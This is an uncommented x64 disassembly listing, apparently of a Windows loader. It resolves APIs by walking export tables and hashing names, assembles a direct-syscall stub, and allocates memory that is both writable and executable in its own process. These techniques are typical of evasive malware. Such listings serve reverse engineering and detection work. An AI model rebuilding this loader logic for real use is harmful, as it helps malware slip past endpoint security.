or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, rax
call fcn.140091670
lea rax, [rsp + 0x11e40]
mov qword [rsp + 0x4bc8], rax
mov rcx, qword [rsp + 0x4bc8]
call fcn.140097960
mov qword [rsp + 0x11688], rax
mov rcx, qword [rsp + 0x4bc8]
call fcn.140097950
mov qword [rsp + 0x3fd8], rax
mov rax, qword [rsp + 0x3fd8]
mov rax, qword [rax]
mov qword [rsp + 0x4be0], rax
mov rax, qword [rsp + 0x44e8]
mov qword [rsp + 0xa4e8], rax
mov rax, qword [rsp + 0xa4e8]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0xa4f0], rax
mov rax, qword [rsp + 0xa4f0]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x4bd0], rax
mov eax, dword [rsp + 0x4bd0]
add rax, qword [rsp + 0x44e8]
mov qword [rsp + 0x4bd8], rax
mov eax, dword [rsp + 0x4bd4]
mov rcx, qword [rsp + 0x4bd8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa4f8], rax
mov rax, qword [rsp + 0x4bd8]
cmp qword [rsp + 0x4be0], rax
jb 0x14013f2cf
mov rax, qword [rsp + 0xa4f8]
cmp qword [rsp + 0x4be0], rax
jae 0x14013f2cf
mov dword [rsp + 0xc08], 1
jmp 0x14013f2da
mov dword [rsp + 0xc08], 0
movzx eax, byte [rsp + 0xc08]
mov byte [rsp + 0xf5], al
movzx eax, byte [rsp + 0xf5]
test eax, eax
je 0x14013f5a9
mov rax, qword [rsp + 0x3fd8]
mov rax, qword [rax]
mov qword [rsp + 0xa500], rax
mov rax, qword [rsp + 0xa500]
mov qword [rsp + 0xa508], rax
lea rax, [rsp + 0x128a8]
mov qword [rsp + 0xa510], rax
mov rdx, qword [rsp + 0xa508]
mov rcx, qword [rsp + 0xa510]
call fcn.140095590
lea rcx, [rsp + 0x69b0]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rsp + 0x69b0]
call fcn.140191090
mov qword [rsp + 0x3fd0], rax
cmp qword [rsp + 0x3fd0], 0xffffffffffffffff
je 0x14013f3e4
mov r9, qword [rsp + 0x3fd0]
xor r8d, r8d
lea rdx, [rsp + 0xfa60]
lea rcx, [rsp + 0x69b0]
call fcn.14019aaa0
mov rax, qword [rsp + 0x3fd0]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0xfa50]
lea rcx, [rsp + 0x69b0]
call fcn.14019aaa0
lea r8, [rsp + 0xfa50]
lea rdx, [rsp + 0xfa60]
lea rcx, [rsp + 0x11290]
call fcn.14008f7e0
jmp 0x14013f41f
lea rax, [rsp + 0x69b0]
mov qword [rsp + 0xa518], rax
lea rcx, [rsp + 0xfa70]
call fcn.140099fb0
lea r8, [rsp + 0xfa70]
mov rdx, qword [rsp + 0xa518]
lea rcx, [rsp + 0x11290]
call fcn.14008f7e0
nop
lea rcx, [rsp + 0x11290]
call fcn.140097960
mov qword [rsp + 0xa520], rax
lea rcx, [rsp + 0x11290]
call fcn.140097950
mov qword [rsp + 0xa538], rax
lea rax, [rsp + 0xd500]
mov qword [rsp + 0xa530], rax
lea rax, [rsp + 0x2770]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2770]
call fcn.14009b310
mov qword [rsp + 0xa528], rax
lea rax, [rsp + 0xfa80]
mov rdi, rax
mov rsi, qword [rsp + 0xa520]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xfa90]
lea rcx, [rsp + 0xfa80]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xfa90]
mov rcx, qword [rsp + 0xa528]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0xa530]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2778], eax
lea rax, [rsp + 0xd504]
mov qword [rsp + 0xa548], rax
lea rax, [rsp + 0x2774]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2774]
call fcn.14009b310
mov qword [rsp + 0xa540], rax
lea rax, [rsp + 0xfaa0]
mov rdi, rax
mov rsi, qword [rsp + 0xa538]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xfab0]
lea rcx, [rsp + 0xfaa0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xfab0]
mov rcx, qword [rsp + 0xa540]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0xa548]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x277c], eax
mov r8d, dword [rsp + 0x2778]
mov edx, dword [rsp + 0x277c]
lea rcx, [rsp + 0x3fe0]
call fcn.140191150
mov qword [rsp + 0x1398], rax
jmp 0x14013f5cf
mov rax, qword [rsp + 0x3fd8]
mov rax, qword [rax]
mov qword [rsp + 0x1398], rax
jmp 0x14013f5cf
mov qword [rsp + 0x1398], 0
mov rax, qword [rsp + 0x1398]
mov qword [rsp + 0x3fe0], rax
lea rcx, [rsp + 0x3fe0]
call fcn.1400a2c10
mov qword [rsp + 0xa550], rax
mov eax, dword [rsp + 0x6640]
mov dword [rsp + 0x2780], eax
mov rax, qword [rsp + 0xa550]
mov qword [rsp + 0xa558], rax
mov eax, dword [rsp + 0x2780]
mov dword [rsp + 0x2788], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xfac0]
call fcn.14009a190
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xa560], rax
lea r9, [rsp + 0xa558]
lea r8, [rsp + 0x2788]
lea rdx, [rsp + 0x128b8]
mov rcx, qword [rsp + 0xa560]
call fcn.140098320
lea rcx, [rsp + 0xfac0]
call fcn.1400a0f80
lea rcx, [rsp + 0x3fe0]
call fcn.1400a2c10
mov qword [rsp + 0xa568], rax
mov rax, qword [rsp + 0xa568]
mov eax, dword [rax + 4]
mov dword [rsp + 0x2790], eax
mov eax, dword [rsp + 0x2790]
mov dword [rsp + 0x6644], eax
lea rax, [rsp + 0x6648]
mov qword [rsp + 0xa570], rax
mov eax, dword [rsp + 0x6644]
mov dword [rsp + 0x2798], eax
mov rax, qword [rsp + 0xa570]
add rax, 0x11
mov qword [rsp + 0xa578], rax
mov eax, 6
mov edx, eax
mov rcx, qword [rsp + 0xa578]
call fcn.1400a2b40
mov ecx, dword [rsp + 0x2798]
mov dword [rax], ecx
lea rax, [rsp + 0x6648]
mov qword [rsp + 0x650], rax
mov rax, qword [rsp + 0x650]
add rax, 0x10
mov qword [rsp + 0x11690], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0xa580], rax
mov qword [rsp + 0x4be8], 0
mov qword [rsp + 0xa588], 0xd
mov rax, qword [rsp + 0xa580]
mov qword [rsp + 0xa590], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0xa588]
xor r8d, r8d
lea rdx, [rsp + 0x4be8]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0xa590]
mov dword [rsp + 0x27a0], eax
cmp dword [rsp + 0x27a0], 0
jl 0x14013f7b3
mov rax, qword [rsp + 0x4be8]
mov qword [rsp + 0x4bf0], rax
jmp 0x14013f7bf
mov qword [rsp + 0x4bf0], 0
mov rax, qword [rsp + 0x4bf0]
mov qword [rsp + 0xa598], rax
mov rax, qword [rsp + 0x650]
mov rcx, qword [rsp + 0xa598]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x650]
cmp qword [rax + 8], 0
jne 0x14013f7f4
jmp 0x14013f838
mov rax, qword [rsp + 0x650]
add rax, 0x11
mov rcx, rax
call fcn.140097960
mov rcx, qword [rsp + 0x650]
mov rcx, qword [rcx + 8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x650]
mov rcx, qword [rsp + 0x650]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x6648]
mov qword [rsp + 0xa5f0], rax
mov rax, qword [rsp + 0xa5a0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0xa5a8]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xa5b0]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xa5b8]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xa5c0]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xa5c8]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xa5d0]
mov r8, qword [rsp + 0xa5d8]
mov rdx, qword [rsp + 0xa5e0]
mov rcx, qword [rsp + 0xa5e8]
call qword [rsp + 0xa5f0]
mov dword [rsp + 0x27a4], eax
lea rcx, [rsp + 0x6640]
call fcn.1400a0ed0
mov eax, dword [rsp + 0x27a4]
mov dword [rsp + 0x27a8], eax
cmp dword [rsp + 0x27a8], 0
jge 0x14013f8f3
mov byte [rsp + 0x85], 0
jmp 0x14013f8fb
mov byte [rsp + 0x85], 1
movzx eax, byte [rsp + 0x85]
test eax, eax
je 0x14013f913
movzx eax, word [rsp + 0x4350]
test eax, eax
jne 0x14013f923
mov dword [rsp + 0x9c], 0
jmp 0x140141d78
movzx eax, word [rsp + 0x4350]
xor edx, edx
mov ecx, 2
div rcx
inc rax
mov rdx, rax
lea rcx, [rsp + 0x13c8]
call fcn.140097ca0
nop
movzx eax, word [rsp + 0x4350]
mov qword [rsp + 0x4c08], rax
lea rcx, [rsp + 0x13c8]
call fcn.1400a2c10
mov qword [rsp + 0x4c00], rax
mov rax, qword [rsp + 0x4358]
mov qword [rsp + 0x4bf8], rax
mov rax, qword [rsp + 0x660]
mov qword [rsp + 0xa638], rax
cmp qword [rsp + 0x4c00], 0
je 0x14013f9af
cmp qword [rsp + 0x4bf8], 0
je 0x14013f9af
cmp qword [rsp + 0x4c08], 0
jne 0x14013f9bc
mov byte [rsp + 0x86], 0
jmp 0x140140b1f
lea rax, [rsp + 0xd9a8]
mov rdi, rax
xor eax, eax
mov ecx, Ordinal_41
rep stosb byte [rdi], al
mov qword [rsp + 0xd9a8], 0x33
mov rax, qword [rsp + 0x4bf8]
mov qword [rsp + 0xd9b8], rax
mov rax, qword [rsp + 0x4c00]
mov qword [rsp + 0xd9c0], rax
mov rax, qword [rsp + 0x4c08]
mov qword [rsp + 0xd9c8], rax
mov dword [rsp + 0x27ec], 0
mov qword [rsp + 0xa600], 0
mov qword [rsp + 0xa608], 0x28
lea rax, [rsp + 0xd9a8]
mov qword [rsp + 0xa610], rax
lea rax, [rsp + 0x128c8]
mov qword [rsp + 0xa618], rax
mov qword [rsp + 0xa620], 0
mov qword [rsp + 0xa628], 0
mov qword [rsp + 0xa630], 0
mov dword [rsp + 0x27ac], 0x9363e455
mov eax, dword [rsp + 0x27ac]
mov dword [rsp + 0x27b0], eax
lea rcx, [rsp + 0x27b0]
call fcn.1400a2c20
mov dword [rsp + 0x6668], eax
mov dword [rsp + 0x666c], 0
lea rax, [rsp + 0x6670]
mov qword [rsp + 0xa5f8], rax
mov dword [rsp + 0x27e8], 0x49
mov dword [rsp + 0x27e4], 0x89
mov dword [rsp + 0x27e0], 0xca
mov dword [rsp + 0x27dc], 0x48
mov dword [rsp + 0x27d8], 0xc7
mov dword [rsp + 0x27d4], 0xc0
mov dword [rsp + 0x27d0], 0x3f
mov dword [rsp + 0x27cc], 0x10
mov dword [rsp + 0x27c8], 0
mov dword [rsp + 0x27c4], 0
mov dword [rsp + 0x27c0], 0xf
mov dword [rsp + 0x27bc], 5
mov dword [rsp + 0x27b8], 0xc3
lea rax, [rsp + 0x27b8]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x27bc]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x27c0]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x27c4]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x27c8]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x27cc]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x27d0]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x27d4]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x27d8]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x27dc]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x27e0]
lea r8, [rsp + 0x27e4]
lea rdx, [rsp + 0x27e8]
mov rcx, qword [rsp + 0xa5f8]
call fcn.14008f900
mov byte [rsp + 0x363], 1
mov byte [rsp + 0x364], 0
movsxd rax, dword [rsp + 0x27ec]
mov qword [rsp + 0xa770], rax
mov byte [rsp + 0x365], 0
mov byte [rsp + 0x366], 0
mov rax, qword [rsp + 0xa600]
mov qword [rsp + 0xa778], rax
mov byte [rsp + 0x367], 0
mov byte [rsp + 0x368], 1
mov rax, qword [rsp + 0xa608]
mov qword [rsp + 0xa780], rax
mov byte [rsp + 0x369], 0
mov byte [rsp + 0x36a], 0
mov rax, qword [rsp + 0xa610]
mov qword [rsp + 0xa788], rax
mov byte [rsp + 0x36b], 0
mov byte [rsp + 0x36c], 1
mov eax, dword [0x1403f9fa8]
mov qword [rsp + 0xa790], rax
mov byte [rsp + 0x36d], 0
mov byte [rsp + 0x36e], 0
mov rax, qword [rsp + 0xa618]
mov qword [rsp + 0xa798], rax
mov byte [rsp + 0x36f], 0
mov byte [rsp + 0x370], 0
mov rax, qword [rsp + 0xa620]
mov qword [rsp + 0xa7a0], rax
mov byte [rsp + 0x371], 0
mov byte [rsp + 0x372], 0
mov rax, qword [rsp + 0xa628]
mov qword [rsp + 0xa7a8], rax
mov byte [rsp + 0x373], 0
mov byte [rsp + 0x374], 0
mov rax, qword [rsp + 0xa630]
mov qword [rsp + 0xa7b0], rax
mov byte [rsp + 0x375], 0
mov byte [rsp + 0x376], 0
mov rax, qword [rsp + 0xa638]
mov qword [rsp + 0xa7b8], rax
mov eax, dword [rsp + 0x6668]
mov dword [rsp + 0x27f0], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xfad0]
call fcn.14009a050
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xa640], rax
lea r8, [rsp + 0x27f0]
lea rdx, [rsp + 0x4c10]
mov rcx, qword [rsp + 0xa640]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xa648], rax
lea rdx, [rsp + 0x11698]
mov rcx, qword [rsp + 0xa648]
call fcn.140190560
mov rdx, rax
lea rcx, [rsp + 0x4c10]
call fcn.1400a2a70
movzx eax, al
test eax, eax
je 0x14013fdd1
mov qword [rsp + 0x4c18], 0
jmp 0x14013fdea
lea rcx, [rsp + 0x4c10]
call fcn.1400a2c30
mov rax, qword [rax + 8]
mov qword [rsp + 0x4c18], rax
mov rax, qword [rsp + 0x4c18]
mov qword [rsp + 0xa650], rax
lea rcx, [rsp + 0xfad0]
call fcn.1400a0f10
mov rax, qword [rsp + 0xa650]
mov qword [rsp + 0x4c20], rax
cmp qword [rsp + 0x4c20], 0
je 0x14013fe47
mov rax, qword [rsp + 0x4c20]
mov eax, dword [rax + 4]
mov dword [rsp + 0x27f8], eax
mov eax, dword [rsp + 0x27f8]
mov dword [rsp + 0x666c], eax
jmp 0x1401408d5
lea rax, [rsp + 0xd508]
mov qword [rsp + 0xa658], rax
xor edx, edx
mov rcx, qword [rsp + 0xa658]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x27fc], eax
lea rax, [rsp + 0xd50c]
mov qword [rsp + 0xa660], rax
mov edx, dword [rsp + 0x6668]
mov rcx, qword [rsp + 0xa660]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2800], eax
mov eax, dword [rsp + 0x27fc]
mov dword [rsp + 0xc10], eax
mov eax, dword [rsp + 0x2800]
mov dword [rsp + 0xc28], eax
xor edx, edx
lea rcx, [rsp + 0x2804]
call fcn.14009b2f0
lea rdx, [rsp + 0x2804]
lea rcx, [rsp + 0xc28]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x14013fef4
mov qword [rsp + 0x13a8], 0
jmp 0x1401407f3
mov byte [rsp + 0x377], 1
mov qword [rsp + 0x69c0], 0
mov qword [rsp + 0x69c8], 0
call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x3fe8], rax
mov eax, 1
test eax, eax
je 0x14013ff46
mov rax, qword [rsp + 0x3fe8]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x4c28], rax
jmp 0x14013ff59
mov rax, qword [rsp + 0x3fe8]
mov rax, qword [rax]
mov qword [rsp + 0x4c28], rax
mov rax, qword [rsp + 0x4c28]
mov qword [rsp + 0x69c0], rax
mov rax, qword [rsp + 0x3fe8]
mov qword [rsp + 0x69c8], rax
lea rax, [rsp + 0x69c0]
mov qword [rsp + 0x4c30], rax
lea rdx, [rsp + 0x13a0]
mov rcx, qword [rsp + 0x4c30]
call fcn.14018efb0
lea rdx, [rsp + 0xa668]
mov rcx, qword [rsp + 0x4c30]
call fcn.140190a30
jmp 0x14013ffc8
mov rax, qword [rsp + 0x13a0]
mov rax, qword [rax]
mov qword [rsp + 0x13a0], rax
mov rax, qword [rsp + 0xa668]
cmp qword [rsp + 0x13a0], rax
je 0x14013ffe7
mov dword [rsp + 0xc0c], 1
jmp 0x14013fff2
mov dword [rsp + 0xc0c], 0
movzx eax, byte [rsp + 0xc0c]
test eax, eax
je 0x1401407e7
xor edx, edx
mov rcx, qword [rsp + 0x13a0]
call fcn.140096d90
mov qword [rsp + 0xa670], rax
lea rax, [rsp + 0xa670]
mov qword [rsp + 0x4c38], rax
xor edx, edx
lea rcx, [rsp + 0x2808]
call fcn.14009b2f0
lea rdx, [rsp + 0x2808]
lea rcx, [rsp + 0xc10]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140140292
mov rax, qword [rsp + 0x4c38]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0xa678], rax
lea rdx, [rsp + 0x128d8]
mov rcx, qword [rsp + 0xa678]
call fcn.14019acf0
lea rcx, [rsp + 0xfae0]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0xc10]
mov dword [rsp + 0x280c], eax
lea rax, [rsp + 0xd330]
lea rcx, [rsp + 0xfae0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x280c]
mov dword [rsp + 0xc18], eax
lea rax, [rsp + 0x2810]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2810]
call fcn.14009b310
mov qword [rsp + 0xa680], rax
lea rax, [rsp + 0xfaf0]
lea rcx, [rsp + 0xd330]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xfb00]
lea rcx, [rsp + 0xfaf0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xfb00]
mov rcx, qword [rsp + 0xa680]
call fcn.140097890
mov dword [rsp + 0x2818], eax
lea rcx, [rsp + 0xd330]
call fcn.14018df50
sub rax, 4
mov qword [rsp + 0xa688], rax
mov r9, qword [rsp + 0xa688]
xor r8d, r8d
lea rdx, [rsp + 0xfb10]
lea rcx, [rsp + 0xd330]
call fcn.14019ab70
lea rax, [rsp + 0x2814]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2814]
call fcn.14009b310
mov qword [rsp + 0xa690], rax
lea rax, [rsp + 0xfb20]
lea rcx, [rsp + 0xfb10]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xfb30]
lea rcx, [rsp + 0xfb20]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xfb30]
mov rcx, qword [rsp + 0xa690]
call fcn.140097890
mov dword [rsp + 0x2820], eax
mov edx, dword [rsp + 0x2818]
lea rcx, [rsp + 0x281c]
call fcn.14009b2f0
lea rdx, [rsp + 0x281c]
lea rcx, [rsp + 0xc18]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140140276
mov edx, dword [rsp + 0x2820]
lea rcx, [rsp + 0x2824]
call fcn.14009b2f0
lea rdx, [rsp + 0x2824]
lea rcx, [rsp + 0xc18]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140140276
mov dword [rsp + 0xc20], 1
jmp 0x140140281
mov dword [rsp + 0xc20], 0
movzx eax, byte [rsp + 0xc20]
test eax, eax
je 0x140140292
jmp 0x14013ffb5
mov rax, qword [rsp + 0x4c38]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x4c40], rax
mov rax, qword [rsp + 0x4c40]
mov qword [rsp + 0x44f8], rax
mov rax, qword [rsp + 0x4c40]
mov qword [rsp + 0xa698], rax
mov rax, qword [rsp + 0xa698]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0xa6a0], rax
mov rax, qword [rsp + 0xa6a0]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0xa6a8], rax
mov eax, dword [rsp + 0xa6a8]
add rax, qword [rsp + 0x44f8]
mov qword [rsp + 0xa6b0], rax
mov rax, qword [rsp + 0xa6b0]
mov qword [rsp + 0x4500], rax
lea rdx, [rsp + 0xc28]
lea rcx, [rsp + 0xd510]
call fcn.1400986a0
mov r8d, dword [rax]
lea rdx, [rsp + 0x11e58]
lea rcx, [rsp + 0x44f8]
call fcn.140097040
lea rdx, [rsp + 0x139c0]
lea rcx, [rsp + 0x44f8]
call fcn.1401906d0
mov rdx, rax
lea rcx, [rsp + 0x11e58]
call fcn.1400a2af0
movzx eax, al
test eax, eax
je 0x14014037e
jmp 0x14013ffb5
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x140140401
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, rax
call fcn.140091670
lea rax, [rsp + 0x11e68]
mov qword [rsp + 0x4c48], rax
mov rcx, qword [rsp + 0x4c48]
call fcn.140097960
mov qword [rsp + 0x116a0], rax
mov rcx, qword [rsp + 0x4c48]
call fcn.140097950
mov qword [rsp + 0x3ff8], rax
mov rax, qword [rsp + 0x3ff8]
mov rax, qword [rax]
mov qword [rsp + 0x4c60], rax
mov rax, qword [rsp + 0x44f8]
mov qword [rsp + 0xa6b8], rax
mov rax, qword [rsp + 0xa6b8]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0xa6c0], rax
mov rax, qword [rsp + 0xa6c0]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x4c50], rax
mov eax, dword [rsp + 0x4c50]
add rax, qword [rsp + 0x44f8]
mov qword [rsp + 0x4c58], rax
mov eax, dword [rsp + 0x4c54]
mov rcx, qword [rsp + 0x4c58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa6c8], rax
mov rax, qword [rsp + 0x4c58]
cmp qword [rsp + 0x4c60], rax
jb 0x1401404f3
mov rax, qword [rsp + 0xa6c8]
cmp qword [rsp + 0x4c60], rax
jae 0x1401404f3
mov dword [rsp + 0xc30], 1
jmp 0x1401404fe
mov dword [rsp + 0xc30], 0
movzx eax, byte [rsp + 0xc30]
mov byte [rsp + 0xf6], al
movzx eax, byte [rsp + 0xf6]
test eax, eax
je 0x1401407cd
mov rax, qword [rsp + 0x3ff8]
mov rax, qword [rax]
mov qword [rsp + 0xa6d0], rax
mov rax, qword [rsp + 0xa6d0]
mov qword [rsp + 0xa6d8], rax
lea rax, [rsp + 0x128e8]
mov qword [rsp + 0xa6e0], rax
mov rdx, qword [rsp + 0xa6d8]
mov rcx, qword [rsp + 0xa6e0]
call fcn.140095590
lea rcx, [rsp + 0x69d0]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rsp + 0x69d0]
call fcn.140191090
mov qword [rsp + 0x3ff0], rax
cmp qword [rsp + 0x3ff0], 0xffffffffffffffff
je 0x140140608
mov r9, qword [rsp + 0x3ff0]
xor r8d, r8d
lea rdx, [rsp + 0xfb50]
lea rcx, [rsp + 0x69d0]
call fcn.14019aaa0
mov rax, qword [rsp + 0x3ff0]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0xfb40]
lea rcx, [rsp + 0x69d0]
call fcn.14019aaa0
lea r8, [rsp + 0xfb40]
lea rdx, [rsp + 0xfb50]
lea rcx, [rsp + 0x112b0]
call fcn.14008f7e0
jmp 0x140140643
lea rax, [rsp + 0x69d0]
mov qword [rsp + 0xa6e8], rax
lea rcx, [rsp + 0xfb60]
call fcn.140099fb0
lea r8, [rsp + 0xfb60]
mov rdx, qword [rsp + 0xa6e8]
lea rcx, [rsp + 0x112b0]
call fcn.14008f7e0
nop
lea rcx, [rsp + 0x112b0]
call fcn.140097960
mov qword [rsp + 0xa6f0], rax
lea rcx, [rsp + 0x112b0]
call fcn.140097950
mov qword [rsp + 0xa708], rax
lea rax, [rsp + 0xd514]
mov qword [rsp + 0xa700], rax
lea rax, [rsp + 0x2828]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2828]
call fcn.14009b310
mov qword [rsp + 0xa6f8], rax
lea rax, [rsp + 0xfb70]
mov rdi, rax
mov rsi, qword [rsp + 0xa6f0]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xfb80]
lea rcx, [rsp + 0xfb70]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xfb80]
mov rcx, qword [rsp + 0xa6f8]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0xa700]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2830], eax
lea rax, [rsp + 0xd518]
mov qword [rsp + 0xa718], rax
lea rax, [rsp + 0x282c]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x282c]
call fcn.14009b310
mov qword [rsp + 0xa710], rax
lea rax, [rsp + 0xfb90]
mov rdi, rax
mov rsi, qword [rsp + 0xa708]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xfba0]
lea rcx, [rsp + 0xfb90]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xfba0]
mov rcx, qword [rsp + 0xa710]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0xa718]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2834], eax
mov r8d, dword [rsp + 0x2830]
mov edx, dword [rsp + 0x2834]
lea rcx, [rsp + 0x4000]
call fcn.140191150
mov qword [rsp + 0x13a8], rax
jmp 0x1401407f3
mov rax, qword [rsp + 0x3ff8]
mov rax, qword [rax]
mov qword [rsp + 0x13a8], rax
jmp 0x1401407f3
mov qword [rsp + 0x13a8], 0
mov rax, qword [rsp + 0x13a8]
mov qword [rsp + 0x4000], rax
lea rcx, [rsp + 0x4000]
call fcn.1400a2c10
mov qword [rsp + 0xa720], rax
mov eax, dword [rsp + 0x6668]
mov dword [rsp + 0x2838], eax
mov rax, qword [rsp + 0xa720]
mov qword [rsp + 0xa728], rax
mov eax, dword [rsp + 0x2838]
mov dword [rsp + 0x2840], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xfbb0]
call fcn.14009a190
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xa730], rax
